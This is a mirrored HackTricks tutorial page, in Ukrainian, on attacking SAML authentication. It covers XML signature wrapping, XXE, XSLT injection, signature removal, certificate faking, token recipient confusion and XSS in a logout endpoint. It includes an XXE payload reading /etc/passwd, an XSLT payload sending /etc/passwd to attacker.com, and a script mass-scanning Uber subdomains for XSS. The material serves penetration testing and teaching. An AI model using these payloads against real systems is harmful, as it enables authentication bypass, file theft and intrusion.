mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
316 lines
25 KiB
Markdown
316 lines
25 KiB
Markdown
# SAML Attacks
|
||
|
||
## SAML Attacks
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримати HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Basic Information
|
||
|
||
{% content-ref url="saml-basics.md" %}
|
||
[saml-basics.md](saml-basics.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Tool
|
||
|
||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Інструмент, який може взяти URL або список URL і вивести SAML consume URL.
|
||
|
||
## XML round-trip
|
||
|
||
В XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. В ідеалі це кодування/декодування не повинно змінювати дані, але на основі цього сценарію, **дані, що перевіряються, і оригінальні дані можуть не бути однаковими**.
|
||
|
||
Наприклад, перевірте наступний код:
|
||
```ruby
|
||
require 'rexml/document'
|
||
|
||
doc = REXML::Document.new <<XML
|
||
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
||
<X>
|
||
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
||
</X>
|
||
XML
|
||
|
||
puts "First child in original doc: " + doc.root.elements[1].name
|
||
doc = REXML::Document.new doc.to_s
|
||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||
```
|
||
Виконання програми проти REXML 3.2.4 або раніше призведе до наступного виходу замість цього:
|
||
```
|
||
First child in original doc: Y
|
||
First child after round-trip: Z
|
||
```
|
||
Це те, як REXML побачив оригінальний XML документ з програми вище:
|
||
|
||
.png>)
|
||
|
||
А це те, як він побачив його після етапу парсингу та серіалізації:
|
||
|
||
.png>)
|
||
|
||
Для отримання додаткової інформації про вразливість та способи її використання:
|
||
|
||
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||
|
||
## Атаки на обгортку XML-підпису
|
||
|
||
У **атаках на обгортку XML-підпису (XSW)** противники експлуатують вразливість, що виникає, коли XML документи обробляються через два різні етапи: **перевірка підпису** та **виклик функції**. Ці атаки передбачають зміну структури XML документа. Зокрема, зловмисник **впроваджує підроблені елементи**, які не порушують дійсність XML підпису. Ця маніпуляція має на меті створити розбіжність між елементами, які аналізуються **логікою програми**, та тими, що перевіряються **модулем перевірки підпису**. В результаті, хоча XML підпис залишається технічно дійсним і проходить перевірку, логіка програми обробляє **фальшиві елементи**. Таким чином, зловмисник ефективно обходить **захист цілісності** та **автентифікацію походження** XML підпису, що дозволяє **впроваджувати довільний контент** без виявлення.
|
||
|
||
Наступні атаки базуються на [**цьому блозі**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **та** [**цьому документі**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Тож перевірте їх для отримання додаткових деталей.
|
||
|
||
### XSW #1
|
||
|
||
* **Стратегія**: Додається новий кореневий елемент, що містить підпис.
|
||
* **Наслідок**: Валідатор може заплутатися між легітимним "Response -> Assertion -> Subject" та "зловмисним новим Response -> Assertion -> Subject", що призводить до проблем з цілісністю даних.
|
||
|
||
.png>)
|
||
|
||
### XSW #2
|
||
|
||
* **Відмінність від XSW #1**: Використовує відокремлений підпис замість обгорткового підпису.
|
||
* **Наслідок**: "Зловмисна" структура, подібно до XSW #1, має на меті обманути бізнес-логіку після перевірки цілісності.
|
||
|
||
.png>)
|
||
|
||
### XSW #3
|
||
|
||
* **Стратегія**: Створюється зловмисна Assertion на тому ж ієрархічному рівні, що й оригінальна assertion.
|
||
* **Наслідок**: Має на меті заплутати бізнес-логіку, щоб вона використовувала шкідливі дані.
|
||
|
||
.png>)
|
||
|
||
### XSW #4
|
||
|
||
* **Відмінність від XSW #3**: Оригінальна Assertion стає дочірнім елементом дублікату (зловмисної) Assertion.
|
||
* **Наслідок**: Подібно до XSW #3, але більш агресивно змінює структуру XML.
|
||
|
||
.png>)
|
||
|
||
### XSW #5
|
||
|
||
* **Унікальний аспект**: Ні підпис, ні оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
|
||
* **Наслідок**: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа.
|
||
|
||
.png>)
|
||
|
||
### XSW #6
|
||
|
||
* **Стратегія**: Схожа вставка місця, як у XSW #4 та #5, але з обертом.
|
||
* **Наслідок**: Скопійована Assertion обгортає підпис, який потім обгортає оригінальну Assertion, створюючи вкладену оманливу структуру.
|
||
|
||
.png>)
|
||
|
||
### XSW #7
|
||
|
||
* **Стратегія**: Вставляється елемент Extensions з копійованою Assertion як дочірнім.
|
||
* **Наслідок**: Це експлуатує менш обмежувальну схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.
|
||
|
||
.png>)
|
||
|
||
### XSW #8
|
||
|
||
* **Відмінність від XSW #7**: Використовує інший менш обмежувальний XML елемент для варіанту атаки.
|
||
* **Наслідок**: Оригінальна Assertion стає дочірнім елементом менш обмежувального елемента, змінюючи структуру, використану в XSW #7.
|
||
|
||
.png>)
|
||
|
||
### Інструмент
|
||
|
||
Ви можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для парсингу запиту, застосування будь-якої атаки XSW, яку ви виберете, та її запуску.
|
||
|
||
## XXE
|
||
|
||
Якщо ви не знаєте, які види атак є XXE, будь ласка, прочитайте наступну сторінку:
|
||
|
||
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||
{% endcontent-ref %}
|
||
|
||
SAML відповіді є **зменшеними та закодованими в base64 XML документами** і можуть бути вразливими до атак XML External Entity (XXE). Маніпулюючи структурою XML SAML відповіді, зловмисники можуть намагатися експлуатувати вразливості XXE. Ось як така атака може бути візуалізована:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [
|
||
<!ELEMENT foo ANY >
|
||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
||
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
||
<saml:Issuer>...</saml:Issuer>
|
||
<ds:Signature ...>
|
||
<ds:SignedInfo>
|
||
<ds:CanonicalizationMethod .../>
|
||
<ds:SignatureMethod .../>
|
||
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
||
</ds:SignedInfo>
|
||
<ds:SignatureValue>...</ds:SignatureValue>
|
||
[...]
|
||
```
|
||
## Tools
|
||
|
||
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для генерації POC з SAML запиту для тестування на можливі вразливості XXE та SAML вразливості.
|
||
|
||
Перегляньте також цю доповідь: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||
|
||
## XSLT via SAML
|
||
|
||
Для отримання додаткової інформації про XSLT перейдіть за посиланням:
|
||
|
||
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||
{% endcontent-ref %}
|
||
|
||
Перетворення розширювальної таблиці стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що **перетворення XSLT виконуються до перевірки цифрового підпису**. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.
|
||
|
||
Тут ви можете знайти **POC** для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні payloads.
|
||
```xml
|
||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||
...
|
||
<ds:Transforms>
|
||
<ds:Transform>
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="doc">
|
||
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
||
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
||
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
||
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
||
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
</ds:Transform>
|
||
</ds:Transforms>
|
||
...
|
||
</ds:Signature>
|
||
```
|
||
### Tool
|
||
|
||
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) для генерації POC з SAML запиту для тестування можливих вразливостей XSLT.
|
||
|
||
Перегляньте також цю доповідь: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||
|
||
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||
|
||
**XML Signature Exclusion** спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, **перевірка підпису може не відбутися**, що робить його вразливим. Можливо протестувати це, змінивши вміст, який зазвичай перевіряється підписом.
|
||
|
||
.png>)
|
||
|
||
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||
|
||
Ви також можете використовувати розширення Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Перехопіть SAML Response і натисніть `Remove Signatures`. Таким чином **всі** елементи Signature будуть видалені.
|
||
|
||
З видаленими підписами, дозвольте запиту продовжити до цілі. Якщо підпис не потрібен сервісу
|
||
|
||
## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
|
||
|
||
## Certificate Faking
|
||
|
||
Certificate Faking - це техніка для тестування, чи **правильно перевіряє постачальник послуг (SP), що SAML повідомлення підписане** довіреним постачальником ідентифікації (IdP). Це передбачає використання \***самопідписаного сертифіката** для підписання SAML Response або Assertion, що допомагає оцінити процес перевірки довіри між SP та IdP.
|
||
|
||
### How to Conduct Certificate Faking
|
||
|
||
Наступні кроки описують процес використання розширення Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
|
||
|
||
1. Перехопіть SAML Response.
|
||
2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку `Send Certificate to SAML Raider Certs`.
|
||
3. У вкладці сертифікатів SAML Raider виберіть імпортований сертифікат і натисніть `Save and Self-Sign`, щоб створити самопідписаний клон оригінального сертифіката.
|
||
4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature.
|
||
5. Видаліть будь-які існуючі підписи за допомогою кнопки `Remove Signatures`.
|
||
6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку **`(Re-)Sign Message`** або **`(Re-)Sign Assertion`**, відповідно.
|
||
7. Перешліть підписане повідомлення. Успішна аутентифікація вказує на те, що SP приймає повідомлення, підписані вашим самопідписаним сертифікатом, що виявляє потенційні вразливості в процесі перевірки SAML повідомлень.
|
||
|
||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||
|
||
Token Recipient Confusion та Service Provider Target Confusion включають перевірку, чи **правильно перевіряє постачальник послуг призначеного отримувача відповіді**. По суті, постачальник послуг повинен відхиляти відповідь на аутентифікацію, якщо вона призначена для іншого постачальника. Критичним елементом тут є поле **Recipient**, яке знаходиться в елементі **SubjectConfirmationData** SAML Response. Це поле вказує URL, куди повинно бути надіслано підтвердження. Якщо фактичний отримувач не відповідає призначеному постачальнику послуг, підтвердження слід вважати недійсним.
|
||
|
||
#### **How It Works**
|
||
|
||
Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис на постачальнику послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.
|
||
|
||
Процес атаки є простим за цих умов. Аутентифікована сесія ініціюється з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, що використовувалося для SP-Legit.
|
||
```python
|
||
# Example to simulate interception and redirection of SAML Response
|
||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||
"""
|
||
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
||
|
||
Args:
|
||
- saml_response: The SAML Response intercepted (in string format).
|
||
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
||
|
||
Returns:
|
||
- status: Success or failure message.
|
||
"""
|
||
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
||
try:
|
||
# Code to send the SAML Response to SP-Target would go here
|
||
return "SAML Response successfully redirected to SP-Target."
|
||
except Exception as e:
|
||
return f"Failed to redirect SAML Response: {e}"
|
||
```
|
||
## XSS в функції виходу
|
||
|
||
Оригінальне дослідження можна знайти за [цим посиланням](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
||
|
||
Під час процесу брутфорсингу директорій була виявлена сторінка виходу за адресою:
|
||
```
|
||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||
```
|
||
При доступі до цього посилання відбулася переадресація на:
|
||
```
|
||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||
```
|
||
Це виявило, що параметр `base` приймає URL. Враховуючи це, виникла ідея замінити URL на `javascript:alert(123);` в спробі ініціювати атаку XSS (Cross-Site Scripting).
|
||
|
||
### Масове використання
|
||
|
||
[З цього дослідження](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||
|
||
Інструмент [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) був використаний для аналізу піддоменів `uberinternal.com` для доменів, які використовують ту ж бібліотеку. Після цього був розроблений скрипт для націлювання на сторінку `oidauth/prompt`. Цей скрипт тестує на наявність XSS (Cross-Site Scripting), вводячи дані та перевіряючи, чи відображаються вони в виході. У випадках, коли введені дані дійсно відображаються, скрипт позначає сторінку як вразливу.
|
||
```python
|
||
import requests
|
||
import urllib3
|
||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||
from colorama import init ,Fore, Back, Style
|
||
init()
|
||
|
||
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
||
for url in urlList:
|
||
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
||
request = requests.get(url2, allow_redirects=True,verify=False)
|
||
doesit = Fore.RED + "no"
|
||
if ("Fady" in request.content):
|
||
doesit = Fore.GREEN + "yes"
|
||
print(Fore.WHITE + url2)
|
||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||
```
|
||
## Посилання
|
||
|
||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримати HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|